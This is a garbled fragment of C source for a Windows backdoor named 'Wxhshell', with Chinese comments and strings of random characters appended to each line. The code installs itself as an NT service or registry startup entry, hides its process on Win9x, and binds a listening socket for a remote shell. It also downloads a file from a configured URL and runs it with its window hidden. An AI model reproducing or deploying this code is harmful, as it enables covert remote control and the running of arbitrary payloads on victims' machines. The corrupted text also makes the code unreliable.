ULONG InheritedFromUniqueProcessId; ^uu)|
} PROCESS_BASIC_INFORMATION; cj:!uhZp7
APgP*,
PROCNTQSIP NtQueryInformationProcess; RfMrGC^?
M8
E8r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; szY=N7\S*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q-X<zn
'Lw4jq
HANDLE hProcess; {o?+T);Z
PROCESS_BASIC_INFORMATION pbi; Kzw)Q
)vFJx[a<n`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:j"8ZH
if(NULL == hInst ) return 0; ?t&sT
A d0dg2Gw
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KrhAObK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LV'@JFT-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); btC0w^5
HeagT(rN'
if (!NtQueryInformationProcess) return 0; w !N;Y0
S+Aq0B<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BTXS+mvl
if(!hProcess) return 0; ?qeBgkL(B^
:GU6v4u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :HrD[KT
.!ThqYo
CloseHandle(hProcess); vV.TK_y
YlW~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0W|}5(C
if(hProcess==NULL) return 0; '2u(fLq3h
Yq;|Me{h
HMODULE hMod; [TAW68f'
char procName[255]; =X(8[ e
unsigned long cbNeeded; ?j^[7
S4j` =<T,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2*g9Es
B5>1T[T'-
CloseHandle(hProcess); SMr
]Gf.
%[:\ZwT,-
if(strstr(procName,"services")) return 1; // 以服务启动 CKShz]1
xkIRI1*!
return 0; // 注册表启动 ~+1t3M e
} 5c btMNP
6&o9mc\I
// 主模块 =Rl?. +uE
int StartWxhshell(LPSTR lpCmdLine) =&QC&CqEi
{ d,fX3
SOCKET wsl; ^goa$uxU
BOOL val=TRUE; lsV9-)yyl
int port=0; #rL%K3'
struct sockaddr_in door; bkQEfx.
s? /#8 `
if(wscfg.ws_autoins) Install(); 2 %YtMkC5
ecK{+Z'G
port=atoi(lpCmdLine); adG=L9
"n
Y6T1_XG
if(port<=0) port=wscfg.ws_port; 9$&+0
FgIL Q"+
WSADATA data; |1GR:b24
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3[kY:5-
jd9GueV*(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S/}6AX#F4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GE`:bC3
door.sin_family = AF_INET; <qD/ #$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ITj0u&H:
door.sin_port = htons(port); *={`
%
$dAQ'\f7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [AzQP!gi
closesocket(wsl); gxEa?QH
return 1; M)Iu'
} P+iZ5S\kL=
[KA&KI^hF
if(listen(wsl,2) == INVALID_SOCKET) { yc.Vm[!
closesocket(wsl); % AqUVt9}
return 1; t^HQ=*c
} %G6ml,
Wxhshell(wsl); Z:3N*YkL
WSACleanup(); Ha l,%W~e
x`@!hJc:[e
return 0; ~~[Sz#(
bWzv7#dd=
} 0-H! \IB
>
Y
<in/
// 以NT服务方式启动 }q1@[
aE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~b+TkPU
{ )ndcBwQc"
DWORD status = 0; ZV}"k_+-
DWORD specificError = 0xfffffff; BIf E+L(
NG-Wn+W@b
serviceStatus.dwServiceType = SERVICE_WIN32; V eO$n*O
serviceStatus.dwCurrentState = SERVICE_START_PENDING; p<1z!`!P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BKDs3?&
serviceStatus.dwWin32ExitCode = 0; u.(
WW(/N
serviceStatus.dwServiceSpecificExitCode = 0; `oP<mLxle
serviceStatus.dwCheckPoint = 0; uGm~ Oo
serviceStatus.dwWaitHint = 0; |;2Y|>=
+]|aACt]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VuqN)CE^Uq
if (hServiceStatusHandle==0) return; h8;B +#f`
V{17iRflf
status = GetLastError(); 5Hvg%g-c
if (status!=NO_ERROR) Bw-<xwD
{ z -|gw.y
serviceStatus.dwCurrentState = SERVICE_STOPPED; <.j `n
serviceStatus.dwCheckPoint = 0; 3V:{_~~
serviceStatus.dwWaitHint = 0; tydD~a
serviceStatus.dwWin32ExitCode = status; ~m^.&mv3/
serviceStatus.dwServiceSpecificExitCode = specificError; }X{#=*$GQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }:u" ?v=|j
return; 7Q,9j.
} Xd%c00"U
=}N&c4I[j
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;h[p "
serviceStatus.dwCheckPoint = 0; "&jA
CI
serviceStatus.dwWaitHint = 0; V@gweci
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^lVZW8
} p2T%Zl_
{awv=s
// 处理NT服务事件,比如:启动、停止
4\'1j|nS[
VOID WINAPI NTServiceHandler(DWORD fdwControl) zbH Nj(~
{ SS?^-BI
switch(fdwControl) 1iWo*+5
{ f49pIcAq
case SERVICE_CONTROL_STOP: N
]/N}b
serviceStatus.dwWin32ExitCode = 0; 4;anoqiG\
serviceStatus.dwCurrentState = SERVICE_STOPPED; WP)r5;Hv`
serviceStatus.dwCheckPoint = 0; >hqev-
serviceStatus.dwWaitHint = 0; 5WN^8`{'3
{ j8p</gd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yOKpi&! r
} lej-,HX
return; =O= 0 D
case SERVICE_CONTROL_PAUSE: kO:|?}Koc
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6"@+Jz
break; '6l4MR$j&m
case SERVICE_CONTROL_CONTINUE: *_G(*yAe(
serviceStatus.dwCurrentState = SERVICE_RUNNING; {)j~5m.,/o
break; e~#;ux
case SERVICE_CONTROL_INTERROGATE: I&9_F%rX
break; N{ L'Q0!
}; l*^J}oY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]dzBm!u
} 3vx5dUgl,
P%?|V_m
// 标准应用程序主函数 HUF],[N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H4%2"w6|!
{ y/}[S@4uB
Hc?8Q\O:
// 获取操作系统版本 Dep.Qfv{-
OsIsNt=GetOsVer(); IXE`MLc
GetModuleFileName(NULL,ExeFile,MAX_PATH); j8k5B"
~)!yl. H
// 从命令行安装 a1p Z{Od
if(strpbrk(lpCmdLine,"iI")) Install(); a=(D`lQ8
GM&< ?K1
// 下载执行文件 S0,q@LV
if(wscfg.ws_downexe) { +NML>g#F~z
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z>=IP-,>
WinExec(wscfg.ws_filenam,SW_HIDE); >R9Q|
} t8vR9]n
GyU9,>|~T
if(!OsIsNt) { Swugt"`nN
// 如果时win9x,隐藏进程并且设置为注册表启动 {wUbr ^
HideProc(); f3,qDbQyJ
StartWxhshell(lpCmdLine); C\%T|ZDE
} X[' VZz7
else %6A."sePO
if(StartFromService()) Be~__pd
// 以服务方式启动 ?D 8<}~Do
StartServiceCtrlDispatcher(DispatchTable); 2~`lvx
else G$#Q:]N
// 普通方式启动 }XmrfegF
StartWxhshell(lpCmdLine); 4:umD*d 3E
^\<nOzU?
return 0; -cDS+*[
}